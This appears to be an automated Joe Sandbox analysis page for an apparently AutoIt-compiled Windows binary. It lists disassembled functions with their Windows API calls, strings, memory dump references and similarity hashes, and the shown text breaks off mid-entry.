Function 001162CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 001162EC
GetWindowLongW.USER32(016A5860,000000F0), ref: 0011631F
GetWindowLongW.USER32(016A5860,000000F0), ref: 00116354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00116386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 001163B0
GetWindowLongW.USER32(00000000,000000F0), ref: 001163C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 001163DB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 508409a4decf1d36807cc6901695845869d54fe952b24f3ddd8409eb1f323faf
Instruction ID: 3274be10821f2df0b1673e787e895702c79d24aa38d303967436abd72da818e3
Opcode Fuzzy Hash: 508409a4decf1d36807cc6901695845869d54fe952b24f3ddd8409eb1f323faf
Instruction Fuzzy Hash: 37311230614250DFDB28CF19DC84F9437E1BB4A755F1941B8F9248F6B2CB72A881CB50

Function 000EDAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000EDB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000EDB54
SysAllocString.OLEAUT32(00000000), ref: 000EDB57
SysAllocString.OLEAUT32(?), ref: 000EDB75
SysFreeString.OLEAUT32(?), ref: 000EDB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 000EDBA3
SysAllocString.OLEAUT32(?), ref: 000EDBB1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: fbfc490cc445d88fe9280665c996c2e0eb0ccbd33ed5623b6f73a7e4f3e7d88e
Instruction ID: caf90427053c89d0e140383d367af46928971a76fbf7c44fefdd219d2bb08f93
Opcode Fuzzy Hash: fbfc490cc445d88fe9280665c996c2e0eb0ccbd33ed5623b6f73a7e4f3e7d88e
Instruction Fuzzy Hash: BE214176600219AFDB10DFA9DC88CFB77ECEB09360B05856AF914DB251E7709C818764

Function 00106173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00107D8B: inet_addr.WSOCK32(00000000), ref: 00107DB6

socket.WSOCK32(00000002,00000001,00000006), ref: 001061C6
WSAGetLastError.WSOCK32(00000000), ref: 001061D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0010620E
connect.WSOCK32(00000000,?,00000010), ref: 00106217
WSAGetLastError.WSOCK32 ref: 00106221
closesocket.WSOCK32(00000000), ref: 0010624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00106263

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 30a9df9d32b9a10bc90468cee88d6449b8a5874b28833d18628b1ac720e99a6d
Instruction ID: db7049ff79ab46f3d9da726e300c5d2aa818f5fa98e2d5b8a64cf5081077804e
Opcode Fuzzy Hash: 30a9df9d32b9a10bc90468cee88d6449b8a5874b28833d18628b1ac720e99a6d
Instruction Fuzzy Hash: A7319E31600108ABDF14AF64CC85BBE7BA9EB45760F04802DF945A72D2DBB4AC559BA1

Function 000EF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 000EF671
__wcsnicmp.LIBCMT ref: 000EF692
__wcsnicmp.LIBCMT ref: 000EF6AC

Strings

#OnAutoItStartRegister, xrefs: 000EF6A6
#notrayicon, xrefs: 000EF669
#requireadmin, xrefs: 000EF68C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: b35cae5462401266a6d2a2be2e8cf3822f6713e5d518769c33f50c6ed57110bf
Instruction ID: ef30799fab9167bb15868440ee0485284522f2f7f05471622ae4121a55295e27
Opcode Fuzzy Hash: b35cae5462401266a6d2a2be2e8cf3822f6713e5d518769c33f50c6ed57110bf
Instruction Fuzzy Hash: 022168722085937FD634AA36AC02EFB73D8EF55390F504039F886A60A2EF619D81D395

Function 000EDBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000EDC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000EDC2F
SysAllocString.OLEAUT32(00000000), ref: 000EDC32
SysAllocString.OLEAUT32 ref: 000EDC53
SysFreeString.OLEAUT32 ref: 000EDC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 000EDC76
SysAllocString.OLEAUT32(?), ref: 000EDC84

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: c1750be0d32cafbac81ebf03e36cce4572a8cc463300a866207cbf6f081cac24
Instruction ID: 988227ccc51b94d1c4f55662cbc88707712728d331917f2e8e5862308c08e294
Opcode Fuzzy Hash: c1750be0d32cafbac81ebf03e36cce4572a8cc463300a866207cbf6f081cac24
Instruction Fuzzy Hash: 71218635604245AFDB14DFA9DD88DEB77ECEB08360B10C12AF914DB661D670EC81D764

Function 001175CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00091D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00091D73
Part of subcall function 00091D35: GetStockObject.GDI32(00000011), ref: 00091D87
Part of subcall function 00091D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00091D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00117632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0011763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0011764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00117659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00117665

Strings

Msctls_Progress32, xrefs: 00117603

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 7a35ef27ee587de2c930bf7d69e137cbe0a8cb41340567ac5d9acd1f2332be29
Instruction ID: 7c6f0c1a39103087008fdfe958c4f0a977a03a8b73d1030a7682c659b57ffa07
Opcode Fuzzy Hash: 7a35ef27ee587de2c930bf7d69e137cbe0a8cb41340567ac5d9acd1f2332be29
Instruction Fuzzy Hash: C111B6B1110219BFEF158F64CC85EE77F6DEF08798F014124B604A61A0D7729C61DBA4

Function 000B9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 000B9AE6

Part of subcall function 000B3187: EncodePointer.KERNEL32(00000000), ref: 000B318A
Part of subcall function 000B3187: __initp_misc_winsig.LIBCMT ref: 000B31A5
Part of subcall function 000B3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000B9EA0
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 000B9EB4
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 000B9EC7
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 000B9EDA
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 000B9EED
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 000B9F00
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 000B9F13
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 000B9F26
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 000B9F39
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 000B9F4C
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 000B9F5F
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 000B9F72
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 000B9F85
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 000B9F98
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 000B9FAB
Part of subcall function 000B3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 000B9FBE

__mtinitlocks.LIBCMT ref: 000B9AEB
__mtterm.LIBCMT ref: 000B9AF4

Part of subcall function 000B9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,000B9AF9,000B7CD0,0014A0B8,00000014), ref: 000B9C56
Part of subcall function 000B9B5C: _free.LIBCMT ref: 000B9C5D
Part of subcall function 000B9B5C: DeleteCriticalSection.KERNEL32(0014EC00,?,?,000B9AF9,000B7CD0,0014A0B8,00000014), ref: 000B9C7F

__calloc_crt.LIBCMT ref: 000B9B19
__initptd.LIBCMT ref: 000B9B3B
GetCurrentThreadId.KERNEL32 ref: 000B9B42

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: b4eba431ce6287a9446b5b083f37b75c65da2f5165fe28aed7bc4f007940b61c
Instruction ID: e2aff0813d0e58ed3eb584ee1f6da94416256615764a0c2c4743b76e20ababa2
Opcode Fuzzy Hash: b4eba431ce6287a9446b5b083f37b75c65da2f5165fe28aed7bc4f007940b61c
Instruction Fuzzy Hash: 32F0B43250D7116AE6747775BD03ACA36D4EF02734F214A29F764C61E3FF20844142A5

Function 000B406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,000B3F85), ref: 000B4085
GetProcAddress.KERNEL32(00000000), ref: 000B408C
EncodePointer.KERNEL32(00000000), ref: 000B4097
DecodePointer.KERNEL32(000B3F85), ref: 000B40B2

Strings

combase.dll, xrefs: 000B4080
RoUninitialize, xrefs: 000B4074

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 105db6771ded423e3cf3d505310dae263265b23f31c5cd6e1eaee2c47b22b992
Instruction ID: 8e857304c72870eb79e0b3961354bc762edc8886a5b5cf110901ad60c8bb6762
Opcode Fuzzy Hash: 105db6771ded423e3cf3d505310dae263265b23f31c5cd6e1eaee2c47b22b992
Instruction Fuzzy Hash: 98E04F70590B00EFDB14AF71ED4CB853EE4B700783F108028F121D68A0CB724291EA20

Function 000F64B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000F660B
_memmove.LIBCMT ref: 000F6546

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

_memmove.LIBCMT ref: 000F65B9
_memmove.LIBCMT ref: 000F66A0
_memmove.LIBCMT ref: 000F66B9
_memmove.LIBCMT ref: 000F66D5

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 34dc75f1d360b63ce599dc2d496eca258b29278931950623ef800f25f87fbebb
Instruction ID: 3db8060719b54e78bc7df0a866d6ca2137d355ba1e9d80d77e65f06ef6c5f484
Opcode Fuzzy Hash: 34dc75f1d360b63ce599dc2d496eca258b29278931950623ef800f25f87fbebb
Instruction Fuzzy Hash: C9619B3050065A9BCF11EF64CC82AFF37A9AF05308F044518FA59AB293EB36ED05EB50

Function 001101E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 00110E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0010FDAD,?,?), ref: 00110E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001102BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001102FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00110320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00110349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0011038C
RegCloseKey.ADVAPI32(00000000), ref: 00110399

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 2b1fcce357eae1ffd76b75c0a9b7eabf89da3a9b0a7ef36ff0c5551e0adc72b1
Instruction ID: 114fe887cffe1a659f63c9550e359d3e4df1d98f68f3ffda756550b66aa76212
Opcode Fuzzy Hash: 2b1fcce357eae1ffd76b75c0a9b7eabf89da3a9b0a7ef36ff0c5551e0adc72b1
Instruction Fuzzy Hash: 2F516C316082009FCB09EF64C845EAFBBE9FF89314F04492DF555872A2DB71E985DB52

Function 00115799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 001157FB
GetMenuItemCount.USER32(00000000), ref: 00115832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0011585A
GetMenuItemID.USER32(?,?), ref: 001158C9
GetSubMenu.USER32(?,?), ref: 001158D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00115928

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 34951a4e76daee2badb9095d4709a41ac51f5cc10bab6560909abc4f5e707376
Instruction ID: 35ed433a87ce5f5ec791235c2bf60ec2fd0c49b9e69a49df8ee1d47dea1dce2c
Opcode Fuzzy Hash: 34951a4e76daee2badb9095d4709a41ac51f5cc10bab6560909abc4f5e707376
Instruction Fuzzy Hash: CC515C31A00619EFCF19DF65C945AEEBBB5EF48320F104069E951BB352CB70AE81DB91

Function 000EEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000EEF06
VariantClear.OLEAUT32(00000013), ref: 000EEF78
VariantClear.OLEAUT32(00000000), ref: 000EEFD3
_memmove.LIBCMT ref: 000EEFFD
VariantClear.OLEAUT32(?), ref: 000EF04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 000EF078

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 3286c8c639ddc7149333e4deb656bd95d53abff4b40d0ccc1ba65b9b2961d796
Instruction ID: 1c5447ab2b1a5843ce12d558209368e4a30645586e800ef7adc160035c683426
Opcode Fuzzy Hash: 3286c8c639ddc7149333e4deb656bd95d53abff4b40d0ccc1ba65b9b2961d796
Instruction Fuzzy Hash: D4516BB5A00249EFCB14CF58C884AAAB7F8FF4C314B158569E959EB301E735E951CFA0

Function 000F220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000F22A3
IsMenu.USER32(00000000), ref: 000F22C3
CreatePopupMenu.USER32 ref: 000F22F7
GetMenuItemCount.USER32(000000FF), ref: 000F2355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 000F2386

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 8dcf5f41c6036d231815d0731a35883059d049c3134ea78c98663e3e147c1f71
Instruction ID: d396e23f91fa94dfa818c0f4c38e93cb0238791d7f1a32e6fca8c64559ab89fa
Opcode Fuzzy Hash: 8dcf5f41c6036d231815d0731a35883059d049c3134ea78c98663e3e147c1f71
Instruction Fuzzy Hash: C751DFB060020DEBCF25CF68C988BFDBBF5AF05314F104229EA519B691D3788A44DB11

Function 00091765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0009179A
GetWindowRect.USER32(?,?), ref: 000917FE
ScreenToClient.USER32(?,?), ref: 0009181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0009182C
EndPaint.USER32(?,?), ref: 00091876

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 9954c2de152795489c82e5842284efc0de407915586b67f68e4492d762c91bfb
Instruction ID: 44ee62fb117751aa23ab7ff21fd042ca474fcdf3cc0a527b6cfcaaf428436077
Opcode Fuzzy Hash: 9954c2de152795489c82e5842284efc0de407915586b67f68e4492d762c91bfb
Instruction Fuzzy Hash: 7141A130204701EFDB10DF25CC84FFA7BE9EB55724F14466CF5A48A2A1CB319845EB61

Function 0011B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(001557B0,00000000,016A5860,?,?,001557B0,?,0011B5A8,?,?), ref: 0011B712
EnableWindow.USER32(00000000,00000000), ref: 0011B736
ShowWindow.USER32(001557B0,00000000,016A5860,?,?,001557B0,?,0011B5A8,?,?), ref: 0011B796
ShowWindow.USER32(00000000,00000004,?,0011B5A8,?,?), ref: 0011B7A8
EnableWindow.USER32(00000000,00000001), ref: 0011B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0011B7EF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 02f4de96da3adcc20c1aa5c2ddcc527c36b95f430cd24a5d59b89dda9be6a5db
Instruction ID: 64c1ac56bb70eb3c7921818e4a40e713ffeb0d6ed06adebe70c7f5bbf7b046cd
Opcode Fuzzy Hash: 02f4de96da3adcc20c1aa5c2ddcc527c36b95f430cd24a5d59b89dda9be6a5db
Instruction Fuzzy Hash: DD414C35609240AFDB2ACF24C5DABD47BE1FB45310F1881B9E9488F6F2C731A896CB51

Function 0010709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00104E41,?,?,00000000,00000001), ref: 001070AC

